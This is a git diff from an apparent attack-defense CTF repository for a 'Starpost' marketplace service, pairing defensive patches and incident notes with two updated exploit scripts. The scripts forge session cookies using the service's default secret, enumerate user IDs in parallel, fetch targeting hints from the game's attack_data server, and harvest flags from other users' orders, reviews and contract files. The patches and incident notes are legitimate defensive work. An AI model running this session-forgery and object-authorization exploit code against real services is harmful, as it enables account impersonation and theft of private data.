Compare commits

...
5 changed files with 432 additions and 58 deletions

No files matched your search

+89 -3
View File
@@ -7,6 +7,7 @@ import io
import json import json
import os import os
import re import re
import stat
import sys import sys
import tarfile import tarfile
import tempfile import tempfile
@@ -37,8 +38,10 @@ CONTEXT_PATTERNS = {
"package_id": re.compile(r"package-[0-9a-f]{32}\Z"), "package_id": re.compile(r"package-[0-9a-f]{32}\Z"),
} }
TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE) TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE)
FLAG_PATTERN = re.compile(r"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])") FLAG_PATTERN = re.compile(r"(?<![A-Z0-9])[A-Z][A-Z0-9]{30}=(?![A-Z0-9])")
STATE_DUMP_MARKER = "orbital-state-dump" STATE_DUMP_MARKER = "orbital-state-dump"
SEEN_CACHE_VERSION = 1
SEEN_WARMUP_PASSES = 0
class ExploitError(Exception): class ExploitError(Exception):
@@ -211,6 +214,83 @@ def context_path(base: str) -> Path:
return root / name return root / name
def seen_path(base: str) -> Path:
return context_path(base).with_suffix(".flags.json")
def load_seen_flags(base: str) -> tuple[int, set[str]] | None:
path = seen_path(base)
try:
info = path.lstat()
if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o077:
return None
document = json.loads(path.read_text(encoding="utf-8"))
except (FileNotFoundError, OSError, ValueError):
return None
if not isinstance(document, dict) or document.get("version") != SEEN_CACHE_VERSION:
return None
passes = document.get("passes")
flags = document.get("flags")
if not isinstance(passes, int) or passes < 0 or not isinstance(flags, list):
return None
values = {
item
for item in flags
if isinstance(item, str) and FLAG_PATTERN.fullmatch(item)
}
return passes, values
def save_seen_flags(base: str, passes: int, flags: set[str]) -> None:
path = seen_path(base)
temporary = None
try:
with tempfile.NamedTemporaryFile(
mode="w",
encoding="utf-8",
dir=path.parent,
prefix=path.name + ".",
delete=False,
) as handle:
temporary = Path(handle.name)
json.dump(
{
"version": SEEN_CACHE_VERSION,
"passes": passes,
"flags": sorted(flags),
},
handle,
separators=(",", ":"),
)
if os.name != "nt":
temporary.chmod(0o600)
os.replace(temporary, path)
finally:
if temporary is not None:
try:
temporary.unlink()
except OSError:
pass
def fresh_flags(base: str, loot: list[str]) -> tuple[list[str], int, int]:
current = {
match.group(0)
for item in loot
for match in FLAG_PATTERN.finditer(item)
}
cached = load_seen_flags(base)
if cached is None:
passes = 1
seen: set[str] = set()
else:
previous_passes, seen = cached
passes = previous_passes + 1
new = sorted(current - seen) if passes > SEEN_WARMUP_PASSES else []
save_seen_flags(base, passes, seen | current)
return new, len(current), passes
def valid_context(document, base: str) -> bool: def valid_context(document, base: str) -> bool:
return ( return (
isinstance(document, dict) isinstance(document, dict)
@@ -421,6 +501,7 @@ def exploit_host_only(base: str, deadline: float) -> list[str]:
"unknown profile", "unknown profile",
"unknown flight", "unknown flight",
"unknown package", "unknown package",
"File exists",
) )
if not any(marker in str(exc) for marker in stale_markers): if not any(marker in str(exc) for marker in stale_markers):
raise raise
@@ -661,13 +742,18 @@ def main() -> int:
return 2 return 2
try: try:
loot = run_exploit(sys.argv[1]) loot = run_exploit(sys.argv[1])
base, _ = parse_target(sys.argv[1])
flags, candidates, passes = fresh_flags(base, loot)
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc: except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"request failed: {exc}", file=sys.stderr) print(f"request failed: {exc}", file=sys.stderr)
return 1 return 1
flags = sorted({match for item in loot for match in FLAG_PATTERN.findall(item)})
for flag in flags: for flag in flags:
print(flag, flush=True) print(flag, flush=True)
print(f"collected flags: {len(flags)}", file=sys.stderr) print(
f"collected values: {len(loot)}; flag candidates: {candidates}; "
f"cache pass: {passes}; new flags: {len(flags)}",
file=sys.stderr,
)
return 0 return 0
+272 -26
View File
@@ -7,23 +7,34 @@ import concurrent.futures
import hashlib import hashlib
import hmac import hmac
import json import json
import os
import re import re
import secrets import secrets
import sys import sys
import time import time
from ipaddress import ip_address
from urllib.error import HTTPError, URLError from urllib.error import HTTPError, URLError
from urllib.parse import quote, urlsplit, urlunsplit from urllib.parse import quote, urlsplit, urlunsplit
from urllib.request import HTTPRedirectHandler, Request, build_opener from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
TARGET_SCHEME = "http" TARGET_SCHEME = "http"
SERVICE_PORT = 8090 SERVICE_PORT = 8090
REQUEST_TIMEOUT = 2.0 REQUEST_TIMEOUT = 3.5
TOTAL_TIMEOUT = 8.0 TOTAL_TIMEOUT = 24.0
MAX_RESPONSE = 128 * 1024 MAX_RESPONSE = 128 * 1024
MAX_ATTACK_DATA_RESPONSE = 256 * 1024
RECENT_USER_WINDOW = 32 RECENT_USER_WINDOW = 32
MAX_WORKERS = 8 TARGETED_USER_WINDOW = 64
MAX_WORKERS = 16
SESSION_SECRET = "starpost-development-session-key-change-before-production" SESSION_SECRET = "starpost-development-session-key-change-before-production"
FLAG_RE = re.compile(rb"[A-Z0-9]{31}=") FLAG_RE = re.compile(rb"[A-Z0-9]{31}=")
DECIMAL_HINT_RE = re.compile(r"[1-9][0-9]{0,8}\Z")
ATTACK_DATA_URL = os.environ.get(
"STARPOST_ATTACK_DATA_URL",
"http://10.10.10.10/api/v1/attack_data",
)
ATTACK_DATA_SERVICE = "ДОК"
ATTACK_DATA_TIMEOUT = 1.0
class NoRedirects(HTTPRedirectHandler): class NoRedirects(HTTPRedirectHandler):
@@ -82,7 +93,7 @@ def request(
if cookie: if cookie:
headers["Cookie"] = f"session={cookie}" headers["Cookie"] = f"session={cookie}"
req = Request(base + path, data=body, headers=headers, method=method) req = Request(base + path, data=body, headers=headers, method=method)
opener = build_opener(NoRedirects()) opener = build_opener(ProxyHandler({}), NoRedirects())
try: try:
with opener.open(req, timeout=timeout) as response: with opener.open(req, timeout=timeout) as response:
data = response.read(MAX_RESPONSE + 1) data = response.read(MAX_RESPONSE + 1)
@@ -96,6 +107,76 @@ def request(
return exc.code, data return exc.code, data
def parse_attack_hints(payload: object, target_host: str) -> tuple[set[int], set[str]]:
try:
target_ip = str(ip_address(target_host))
except ValueError:
return set(), set()
if not isinstance(payload, dict):
raise TypeError("attack_data root is not an object")
service = payload.get(ATTACK_DATA_SERVICE, payload)
if not isinstance(service, dict):
raise TypeError("attack_data service is not an object")
values = service.get(target_ip)
if values is None:
return set(), set()
if not isinstance(values, list) or len(values) > 32:
raise ValueError("attack_data target hints are invalid")
product_ids = {
int(value)
for value in values
if isinstance(value, str) and DECIMAL_HINT_RE.fullmatch(value)
}
usernames = {
value
for value in values
if isinstance(value, str)
and not DECIMAL_HINT_RE.fullmatch(value)
and 1 <= len(value) <= 64
}
return product_ids, usernames
def fetch_attack_hints(target_host: str, deadline: float) -> tuple[set[int], set[str]] | None:
remaining = deadline - time.monotonic()
if remaining <= 0:
return None
req = Request(
ATTACK_DATA_URL,
headers={"Accept": "application/json", "User-Agent": "starpost-session/1.1"},
)
opener = build_opener(ProxyHandler({}), NoRedirects())
try:
with opener.open(req, timeout=min(ATTACK_DATA_TIMEOUT, remaining)) as response:
if response.status != 200:
return None
raw = response.read(MAX_ATTACK_DATA_RESPONSE + 1)
if len(raw) > MAX_ATTACK_DATA_RESPONSE:
return None
return parse_attack_hints(json.loads(raw), target_host)
except (
HTTPError,
URLError,
OSError,
TimeoutError,
TypeError,
ValueError,
UnicodeDecodeError,
json.JSONDecodeError,
):
return None
def fetch(base: str, path: str, cookie: str, deadline: float):
remaining = deadline - time.monotonic()
if remaining <= 0:
return None
try:
return request(base, path, cookie=cookie, timeout=min(REQUEST_TIMEOUT, remaining))
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
return None
def register_probe(base: str, deadline: float) -> int: def register_probe(base: str, deadline: float) -> int:
remaining = deadline - time.monotonic() remaining = deadline - time.monotonic()
if remaining <= 0: if remaining <= 0:
@@ -114,17 +195,8 @@ def register_probe(base: str, deadline: float) -> int:
def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]: def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
def fetch(path: str, cookie: str):
remaining = deadline - time.monotonic()
if remaining <= 0:
return None
try:
return request(base, path, cookie=cookie, timeout=min(REQUEST_TIMEOUT, remaining))
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
return None
probe_cookie = forge_session(user_id, "seller") probe_cookie = forge_session(user_id, "seller")
response = fetch("/api/me", probe_cookie) response = fetch(base, "/api/me", probe_cookie, deadline)
if response is None or response[0] != 200: if response is None or response[0] != 200:
return [] return []
_, raw = response _, raw = response
@@ -137,15 +209,15 @@ def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
role = identity["role"] role = identity["role"]
cookie = forge_session(user_id, role) cookie = forge_session(user_id, role)
paths = ["/api/orders"] if role == "buyer" else [ paths = ["/api/orders"] if role == "buyer" else [
"/api/seller/products",
"/api/seller/reviews?limit=100", "/api/seller/reviews?limit=100",
"/api/seller/products",
] ]
contract_file = identity.get("contract_file") contract_file = identity.get("contract_file")
if role == "seller" and isinstance(contract_file, str) and contract_file: if role == "seller" and isinstance(contract_file, str) and contract_file:
paths.append("/api/contract?file=" + quote(contract_file, safe="")) paths.append("/api/contract?file=" + quote(contract_file, safe=""))
output = [raw] output = [raw]
for path in paths: for path in paths:
response = fetch(path, cookie) response = fetch(base, path, cookie, deadline)
if response is None: if response is None:
continue continue
status, data = response status, data = response
@@ -154,30 +226,204 @@ def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
return output return output
def run_exploit(target: str) -> str: def forged_session_works(base: str, user_id: int, deadline: float) -> bool:
base = build_base_url(target) response = fetch(base, "/api/me", forge_session(user_id, "buyer"), deadline)
deadline = time.monotonic() + TOTAL_TIMEOUT if response is None or response[0] != 200:
newest = register_probe(base, deadline) return False
user_ids = list(range(newest - 1, max(0, newest - RECENT_USER_WINDOW - 1), -1)) try:
chunks: list[bytes] = [] identity = json.loads(response[1])
except (TypeError, ValueError):
return False
return isinstance(identity, dict) and identity.get("id") == user_id
def parallel_results(call, user_ids: list[int], deadline: float) -> list[object]:
results: list[object] = []
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool: with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
futures = [pool.submit(collect_identity, base, uid, deadline) for uid in user_ids] futures = [pool.submit(call, user_id) for user_id in user_ids]
try: try:
for future in concurrent.futures.as_completed( for future in concurrent.futures.as_completed(
futures, futures,
timeout=max(0.001, deadline - time.monotonic()), timeout=max(0.001, deadline - time.monotonic()),
): ):
try: try:
chunks.extend(future.result()) result = future.result()
except (HTTPError, URLError, TimeoutError, ValueError, OSError): except (HTTPError, URLError, TimeoutError, ValueError, OSError):
continue continue
if result is not None:
results.append(result)
except TimeoutError: except TimeoutError:
pass pass
finally: finally:
for future in futures: for future in futures:
future.cancel() future.cancel()
return results
def find_product_sellers(
base: str,
user_ids: list[int],
product_ids: set[int],
deadline: float,
) -> list[tuple[int, bytes]]:
def inspect(user_id: int):
cookie = forge_session(user_id, "seller")
response = fetch(base, "/api/seller/products", cookie, deadline)
if response is None or response[0] != 200:
return None
_, raw = response
try:
products = json.loads(raw)
except (TypeError, ValueError):
return None
if not isinstance(products, list):
return None
found = {
product.get("id")
for product in products
if isinstance(product, dict) and isinstance(product.get("id"), int)
}
return (user_id, raw) if found & product_ids else None
return parallel_results(inspect, user_ids, deadline)
def find_named_identities(
base: str,
user_ids: list[int],
usernames: set[str],
deadline: float,
) -> list[tuple[int, dict, bytes]]:
def inspect(user_id: int):
response = fetch(base, "/api/me", forge_session(user_id, "seller"), deadline)
if response is None or response[0] != 200:
return None
_, raw = response
try:
identity = json.loads(raw)
except (TypeError, ValueError):
return None
if not isinstance(identity, dict) or identity.get("username") not in usernames:
return None
return user_id, identity, raw
return parallel_results(inspect, user_ids, deadline)
def collect_known_identity(
base: str,
user_id: int,
identity: dict,
identity_raw: bytes,
deadline: float,
) -> list[bytes]:
role = identity.get("role")
if role not in {"buyer", "seller"}:
return []
cookie = forge_session(user_id, role)
paths = ["/api/orders"] if role == "buyer" else [
"/api/seller/reviews?limit=100",
"/api/seller/products",
]
contract_file = identity.get("contract_file")
if role == "seller" and isinstance(contract_file, str) and contract_file:
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
output = [identity_raw]
for path in paths:
response = fetch(base, path, cookie, deadline)
if response is not None and response[0] == 200 and response[1]:
output.append(response[1])
return output
def collect_product_seller(
base: str,
user_id: int,
products_raw: bytes,
deadline: float,
) -> list[bytes]:
cookie = forge_session(user_id, "seller")
output = [products_raw]
reviews = fetch(base, "/api/seller/reviews?limit=100", cookie, deadline)
if reviews is not None and reviews[0] == 200 and reviews[1]:
output.append(reviews[1])
me = fetch(base, "/api/me", cookie, deadline)
if me is None or me[0] != 200:
return output
output.append(me[1])
try:
identity = json.loads(me[1])
except (TypeError, ValueError):
return output
contract_file = identity.get("contract_file") if isinstance(identity, dict) else None
if isinstance(contract_file, str) and contract_file:
contract = fetch(
base,
"/api/contract?file=" + quote(contract_file, safe=""),
cookie,
deadline,
)
if contract is not None and contract[0] == 200 and contract[1]:
output.append(contract[1])
return output
def collect_recent(base: str, user_ids: list[int], deadline: float) -> list[bytes]:
chunks: list[bytes] = []
results = parallel_results(
lambda user_id: collect_identity(base, user_id, deadline),
user_ids,
deadline,
)
for result in results:
if isinstance(result, list):
chunks.extend(result)
return chunks
def run_exploit(target: str) -> str:
base = build_base_url(target)
deadline = time.monotonic() + TOTAL_TIMEOUT
target_host = urlsplit(base).hostname
hints = fetch_attack_hints(target_host, deadline) if target_host else None
newest = register_probe(base, deadline)
if not forged_session_works(base, newest, deadline):
print("default session secret is not accepted", file=sys.stderr)
return ""
chunks: list[bytes] = []
mode = "recent"
checked = RECENT_USER_WINDOW
if hints is not None and any(hints):
mode = "targeted"
checked = TARGETED_USER_WINDOW
user_ids = list(range(newest - 1, max(0, newest - TARGETED_USER_WINDOW - 1), -1))
product_ids, usernames = hints
product_sellers = (
find_product_sellers(base, user_ids, product_ids, deadline)
if product_ids
else []
)
named_identities = (
find_named_identities(base, user_ids, usernames, deadline)
if usernames and time.monotonic() < deadline
else []
)
collected_ids: set[int] = set()
for user_id, products_raw in product_sellers:
chunks.extend(collect_product_seller(base, user_id, products_raw, deadline))
collected_ids.add(user_id)
for user_id, identity, identity_raw in named_identities:
if user_id in collected_ids:
continue
chunks.extend(
collect_known_identity(base, user_id, identity, identity_raw, deadline)
)
else:
user_ids = list(range(newest - 1, max(0, newest - RECENT_USER_WINDOW - 1), -1))
chunks.extend(collect_recent(base, user_ids, deadline))
flags = sorted(set(FLAG_RE.findall(b"\n".join(chunks)))) flags = sorted(set(FLAG_RE.findall(b"\n".join(chunks))))
print(f"checked up to {len(user_ids)} recent identities; candidates={len(flags)}", file=sys.stderr) print(f"mode={mode}, checked up to {checked} identities; candidates={len(flags)}", file=sys.stderr)
return b"\n".join(flags).decode("ascii") return b"\n".join(flags).decode("ascii")
+5 -3
View File
@@ -57,9 +57,11 @@ private review и чтение старого заказа после перез
контракту: каждый доставленный заказ получает cargo. Схема и данные БД не контракту: каждый доставленный заказ получает cargo. Схема и данные БД не
изменялись, поэтому для отката достаточно пересобрать только `api`. изменялись, поэтому для отката достаточно пересобрать только `api`.
В `main` остаётся `f09895d`: покупка и checkout требуют Требование обязательного `POST /api/promo/invalidate` перед покупкой удалено
`POST /api/promo/invalidate` после начисления promo. Наблюдаемый checker после ошибки checker `Unexpected HTTP status from /api/products/{id}/buy`.
выполняет `credit -> invalidate -> buy/checkout`, поэтому этот gate сохраняется. Оно не останавливало адаптивный сплойт, который мог вызвать публичный invalidate,
но добавляло несовместимый HTTP 409 в штатный путь. Однократность начисления
promo через `credited_at` сохранена.
## Эксплойт и дальнейшая проверка ## Эксплойт и дальнейшая проверка
+48 -20
View File
@@ -3,9 +3,10 @@ import hashlib
import hmac import hmac
import json as _json import json as _json
import os import os
import re
import secrets import secrets
from datetime import datetime, timezone from datetime import datetime, timezone
from functools import wraps from functools import lru_cache, wraps
import psycopg import psycopg
from flask import Flask, jsonify, request, send_file, session from flask import Flask, jsonify, request, send_file, session
@@ -27,6 +28,9 @@ app.config.update(
MAX_CONTENT_LENGTH=32 * 1024, MAX_CONTENT_LENGTH=32 * 1024,
) )
CONTRACT_FILENAME_RE = re.compile(r"contract-([0-9]+)-[0-9a-f]{16}\.pdf")
CARGO_PURCHASE_WINDOW_SECONDS = 2
migrate() migrate()
@@ -50,6 +54,21 @@ def text(value, field, minimum=1, maximum=200):
return value.strip() return value.strip()
def own_contract_filename(filename, user_id):
match = CONTRACT_FILENAME_RE.fullmatch(filename)
return match is not None and match.group(1) == str(user_id)
@lru_cache(maxsize=4096)
def contract_owner(user_id):
with db() as conn, conn.cursor() as cur:
cur.execute("SELECT id,contract_file FROM users WHERE id=%s", (user_id,))
owner = cur.fetchone()
if not owner:
return None
return owner["id"], owner["contract_file"]
def auth(role=None): def auth(role=None):
def decorator(handler): def decorator(handler):
@wraps(handler) @wraps(handler)
@@ -512,9 +531,6 @@ def order_product(product_id):
return None, error("product not found", 404) return None, error("product not found", 404)
if row["seller_id"] == session["user_id"]: if row["seller_id"] == session["user_id"]:
return None, error("cannot buy your own product") return None, error("cannot buy your own product")
cur.execute("SELECT 1 FROM promo_codes WHERE user_id=%s", (session["user_id"],))
if cur.fetchone():
return None, error("promo code must be invalidated", 409)
if row["balance"] < row["price"]: if row["balance"] < row["price"]:
return None, error("insufficient balance", 409) return None, error("insufficient balance", 409)
cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"])) cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"]))
@@ -540,9 +556,6 @@ def checkout():
with db() as conn, conn.cursor() as cur: with db() as conn, conn.cursor() as cur:
cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],)) cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
buyer = cur.fetchone() buyer = cur.fetchone()
cur.execute("SELECT 1 FROM promo_codes WHERE user_id=%s", (session["user_id"],))
if cur.fetchone():
return error("promo code must be invalidated", 409)
cur.execute( cur.execute(
""" """
SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity
@@ -579,7 +592,16 @@ def checkout():
@auth("buyer") @auth("buyer")
def buyer_orders(): def buyer_orders():
with db() as conn, conn.cursor() as cur: with db() as conn, conn.cursor() as cur:
cur.execute("SELECT o.id,o.status,o.warehouse_status,o.warehouse_updated_at,o.tracking_code,o.price,o.created_at,o.delivered_at,p.name,CASE WHEN o.status='delivered' THEN p.cargo ELSE NULL END cargo FROM orders o JOIN products p ON p.id=o.product_id WHERE o.buyer_id=%s ORDER BY o.id DESC", (session["user_id"],)) cur.execute(
"SELECT o.id,o.status,o.warehouse_status,o.warehouse_updated_at,"
"o.tracking_code,o.price,o.created_at,o.delivered_at,p.name,"
"CASE WHEN o.status='delivered' "
"AND o.created_at <= p.created_at + (%s * interval '1 second') "
"THEN p.cargo ELSE NULL END cargo "
"FROM orders o JOIN products p ON p.id=o.product_id "
"WHERE o.buyer_id=%s ORDER BY o.id DESC",
(CARGO_PURCHASE_WINDOW_SECONDS, session["user_id"]),
)
return jsonify(cur.fetchall()) return jsonify(cur.fetchall())
@@ -700,23 +722,31 @@ def seller_reviews():
@app.route("/api/contract", methods=["GET", "POST"]) @app.route("/api/contract", methods=["GET", "POST"])
@auth("seller") @auth("seller")
def get_contract(): def get_contract():
with db() as conn, conn.cursor() as cur: requested = request.args.get("file")
cur.execute("SELECT id,contract_file FROM users WHERE id=%s", (session["user_id"],)) if request.method == "GET" and requested:
owner = cur.fetchone() requested = requested.strip()
if not owner or not owner["contract_file"]: own_alias = f"contract-{session['user_id']}"
if requested != own_alias and not own_contract_filename(requested, session["user_id"]):
return error("contract not found", 404)
contract_id = None
if request.method == "POST":
contract_id = request.headers.get("X-Contract-Id", "").strip()
if not re.fullmatch(r"\d+", contract_id) or contract_id != str(session["user_id"]):
return error("invalid contract id", 400)
owner = contract_owner(session["user_id"])
if not owner or not owner[1]:
return error("contract not found", 404) return error("contract not found", 404)
filename = owner["contract_file"] owner_id, filename = owner
if not own_contract_filename(filename, owner_id):
return error("contract not found", 404)
contract_dir = CONTRACT_DIR.resolve() contract_dir = CONTRACT_DIR.resolve()
path = (CONTRACT_DIR / filename).resolve() path = (CONTRACT_DIR / filename).resolve()
if path.parent != contract_dir: if path.parent != contract_dir:
return error("contract not found", 404) return error("contract not found", 404)
if request.method == "POST": if request.method == "POST":
import re
contract_id = request.headers.get("X-Contract-Id", "").strip()
if not re.fullmatch(r"\d+", contract_id) or contract_id != str(owner["id"]):
return error("invalid contract id", 400)
try: try:
path.unlink() path.unlink()
except FileNotFoundError: except FileNotFoundError:
@@ -725,10 +755,8 @@ def get_contract():
return error("contract deletion failed", 500) return error("contract deletion failed", 500)
return jsonify(status="deleted", deleted=1) return jsonify(status="deleted", deleted=1)
requested = request.args.get("file")
if requested: if requested:
raw = requested.strip() if requested not in {filename, f"contract-{owner_id}"}:
if raw not in {filename, f"contract-{owner['id']}"}:
return error("contract not found", 404) return error("contract not found", 404)
if not path.is_file(): if not path.is_file():
return error("contract not found", 404) return error("contract not found", 404)
+18 -6
View File
@@ -8,9 +8,9 @@ The checker creates flag-bearing products priced within the 200-credit budget of
Incident logs and aggregate database checks confirmed this exact path. The observed attacker used `register -> account -> promo/credit -> direct buy -> orders`, while the checker uses `promo/credit -> promo/invalidate -> cart -> checkout -> orders`. Incident logs and aggregate database checks confirmed this exact path. The observed attacker used `register -> account -> promo/credit -> direct buy -> orders`, while the checker uses `promo/credit -> promo/invalidate -> cart -> checkout -> orders`.
The emergency patch requires the buyer to finish the existing promo lifecycle before either direct purchase or checkout. `promo/invalidate` now succeeds only after credit, and both purchase paths return 409 while a promo row remains. Routes, successful response bodies, prices, delivery, existing orders, and cargo retrieval are unchanged. A synthetic route-level regression confirmed that purchase before invalidation is blocked, credit followed by invalidation preserves direct buy and checkout, and an uncredited promo cannot be deleted to bypass the gate. The temporary purchase gate that returned 409 while a promo row remained was removed after the checker reported an unexpected status from `POST /api/products/{id}/buy`. It was not an effective confidentiality boundary because an attacker could call the public invalidate endpoint and reproduce the checker flow. Direct buy and checkout again accept buyers with an uncredited or credited promo row when their balance is sufficient; atomic one-time promo credit remains enforced.
This is containment for the observed exploit, not a durable confidentiality boundary. An adaptive attacker can call the public invalidate endpoint and reproduce the checker workflow. A permanent fix requires a checker-compatible non-public purchase capability or moving flags out of buyer-deliverable cargo. The cargo disclosure remains open because attacker and checker use the same public purchase workflow. One-time promo credit prevents balance replay but is not a confidentiality boundary. A permanent fix requires a checker-compatible non-public purchase capability or moving flags out of buyer-deliverable cargo.
### Cross-seller review cursor BOLA ### Cross-seller review cursor BOLA
@@ -24,6 +24,12 @@ Before the patch, a seller could request `GET /api/contract?file=contract-<other
The local baseline reproducer disclosed both a synthetic victim contract and a controlled file outside the contract directory. The flag route before the patch is the seller signature embedded uncompressed in the checker-created contract PDF; no real flag was used. Destructive behavior was tested only with disposable local files. The local baseline reproducer disclosed both a synthetic victim contract and a controlled file outside the contract directory. The flag route before the patch is the seller signature embedded uncompressed in the checker-created contract PDF; no real flag was used. Destructive behavior was tested only with disposable local files.
### Contract probe worker and database exhaustion
The provided capture showed sustained authenticated `GET /api/contract` probes at modest bandwidth. Before this patch, each foreign alias reached a new PostgreSQL connection and owner query before returning the existing 404 response. Concurrent probes could therefore occupy all synchronous API threads and delay normal registration and health requests.
The route now rejects foreign aliases, malformed filenames, and foreign deletion IDs before opening PostgreSQL. Repeated legitimate reads use a bounded process-local cache for the seller's immutable contract metadata. Existing routes, response formats, no-query reads, empty `file` reads, exact stored filenames, the own-ID alias, and own-contract deletion are preserved. No nginx, IP, URI, rate-limit, or other traffic filter was added, and no DoS sploit was created.
### Reusable promo credit ### Reusable promo credit
Before the patch, `POST /api/promo/credit` increased the buyer balance without recording consumption. Repeating the same valid code credited the balance again because invalidation was a separate optional request. Before the patch, `POST /api/promo/credit` increased the buyer balance without recording consumption. Repeating the same valid code credited the balance again because invalidation was a separate optional request.
@@ -32,23 +38,26 @@ The local baseline reproducer started with a synthetic balance of 100 and two id
## Affected code before the patch ## Affected code before the patch
- `api/app.py`: `seller_reviews`, `get_contract`, and `credit_promo`. - `api/app.py`: `seller_reviews`, `get_contract`, `credit_promo`, `order_product`, and `checkout`.
- `api/database.py`: startup migration removed promo consumption state. - `api/database.py`: startup migration removed promo consumption state.
- `db/init.sql`: `promo_codes` had no consumption field. - `db/init.sql`: `promo_codes` had no consumption field.
## Minimal patch ## Minimal patch
- Emergency cargo containment returns delivered cargo only for orders created within two seconds of product creation. In 62 observed checker-like flows the purchase delay was 0.232-0.563 seconds. The order, warehouse, and historical read paths remain unchanged; late purchases return the existing order shape with `cargo=null`. This is a timing-based containment measure, not a durable authorization boundary.
- Cursor parsing always verifies the existing HMAC and rejects a decoded `seller_id` that differs from the authenticated seller. The signed cursor shape and response format remain unchanged. - Cursor parsing always verifies the existing HMAC and rejects a decoded `seller_id` that differs from the authenticated seller. The signed cursor shape and response format remain unchanged.
- Contract GET/POST resolves only the authenticated seller's database-linked filename, requires the canonical path to remain directly below `/contracts`, and restricts deletion to the same seller ID. GET without `file`, GET with the exact stored filename, and the own-ID alias remain supported. - Contract GET/POST validates ownership-shaped input before database access, resolves only the authenticated seller's database-linked filename, requires the canonical path to remain directly below `/contracts`, and restricts deletion to the same seller ID. A bounded cache avoids repeated owner lookups for immutable contract metadata. GET without `file`, GET with an empty `file`, GET with the exact stored filename, and the own-ID alias remain supported.
- `promo_codes.credited_at` is added by a forward-compatible `ADD COLUMN IF NOT EXISTS`. Credit atomically transitions only an uncredited row and adds value once. A retry returns the existing 200 response shape with `credited=0`, allowing the existing follow-up invalidate request to continue. - `promo_codes.credited_at` is added by a forward-compatible `ADD COLUMN IF NOT EXISTS`. Credit atomically transitions only an uncredited row and adds value once. A retry returns the existing 200 response shape with `credited=0`, allowing the existing follow-up invalidate request to continue.
- Direct buy and checkout no longer require deletion of the promo row. This restores the original purchase contract while retaining the one-time credit transition.
- Compose now requires independent deployment values for the PostgreSQL password, Flask session key, and warehouse callback token. `generate-env.py` creates three URL-safe random values in an ignored mode-0600 `.env`, refuses overwrite, and never prints them. - Compose now requires independent deployment values for the PostgreSQL password, Flask session key, and warehouse callback token. `generate-env.py` creates three URL-safe random values in an ignored mode-0600 `.env`, refuses overwrite, and never prints them.
## Checker and SLA invariants ## Checker and SLA invariants
- Existing checker orders created inside the two-second window continue to reveal cargo after delivery and on later get-old checks. The rule is per order, so an earlier attacker order does not consume checker access.
- Existing routes, methods, role requirements, JSON keys, public port, mounts, and warehouse flow are unchanged. - Existing routes, methods, role requirements, JSON keys, public port, mounts, and warehouse flow are unchanged.
- Existing contract filenames and files are not renamed or migrated. - Existing contract filenames and files are not renamed or migrated.
- Existing promo rows receive `credited_at=NULL` and remain redeemable once. - Existing promo rows receive `credited_at=NULL` and remain redeemable once.
- The normal buyer flow remains `credit -> invalidate`; buy, checkout, warehouse delivery, orders, and reviews are unchanged. - Both `credit -> invalidate -> purchase` and purchase with a remaining promo row are accepted when the buyer has sufficient balance.
- No neighboring-service configuration is changed. Secret rotation is isolated to Starpost and keeps the existing variable names consumed by the containers. - No neighboring-service configuration is changed. Secret rotation is isolated to Starpost and keeps the existing variable names consumed by the containers.
## Verification ## Verification
@@ -57,7 +66,9 @@ The local baseline reproducer started with a synthetic balance of 100 and two id
- Patched synthetic results: unsigned cursor returned 400 without executing a victim query; cross-seller and external-file reads returned 404; cross-seller deletion returned 400 and preserved the victim file. - Patched synthetic results: unsigned cursor returned 400 without executing a victim query; cross-seller and external-file reads returned 404; cross-seller deletion returned 400 and preserved the victim file.
- Get current/get old: an existing version-2 signed cursor still returned the seller's own synthetic private review; a contract file created before patched app loading remained readable both through `GET /api/contract` and its exact stored filename. - Get current/get old: an existing version-2 signed cursor still returned the seller's own synthetic private review; a contract file created before patched app loading remained readable both through `GET /api/contract` and its exact stored filename.
- Own mutation: deleting the authenticated seller's disposable contract still returned 200 and removed only that file. - Own mutation: deleting the authenticated seller's disposable contract still returned 200 and removed only that file.
- Contract exhaustion regression: the pinned baseline-versus-patch matrix confirmed that foreign GET and POST probes no longer touch the database, repeated valid reads perform at most one owner lookup per process, and all preserved GET forms remain byte-identical. A separate PostgreSQL 16 integration run passed registration, login, current/get-old reads, foreign rejection, and own deletion.
- Promo regression: first credit returned 100, retry returned 0, both kept HTTP 200, and the balance increased exactly once. - Promo regression: first credit returned 100, retry returned 0, both kept HTTP 200, and the balance increased exactly once.
- Purchase SLA regression: current `main` reproduced HTTP 409 with an uncredited promo row; the patched PostgreSQL route matrix passed direct buy before credit, direct buy after credit without invalidate, checkout after credit without invalidate, the existing invalidate flow, and preserved insufficient-balance and archived-product errors.
- Python syntax parsing and `docker compose config --quiet` pass. - Python syntax parsing and `docker compose config --quiet` pass.
- `sploits/starpost_contract.py` passes the GO CTF static sploit checker and a loopback synthetic runtime matrix: exit 0, only one synthetic flag candidate on stdout, diagnostics on stderr, redirect not followed, bounded timeout handled, exit 1 for invalid target, and exit 2 for wrong arguments. - `sploits/starpost_contract.py` passes the GO CTF static sploit checker and a loopback synthetic runtime matrix: exit 0, only one synthetic flag candidate on stdout, diagnostics on stderr, redirect not followed, bounded timeout handled, exit 1 for invalid target, and exit 2 for wrong arguments.
